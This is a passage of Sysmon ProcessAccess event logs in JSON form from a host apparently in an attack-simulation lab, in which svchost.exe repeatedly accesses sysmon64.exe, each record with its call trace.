C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 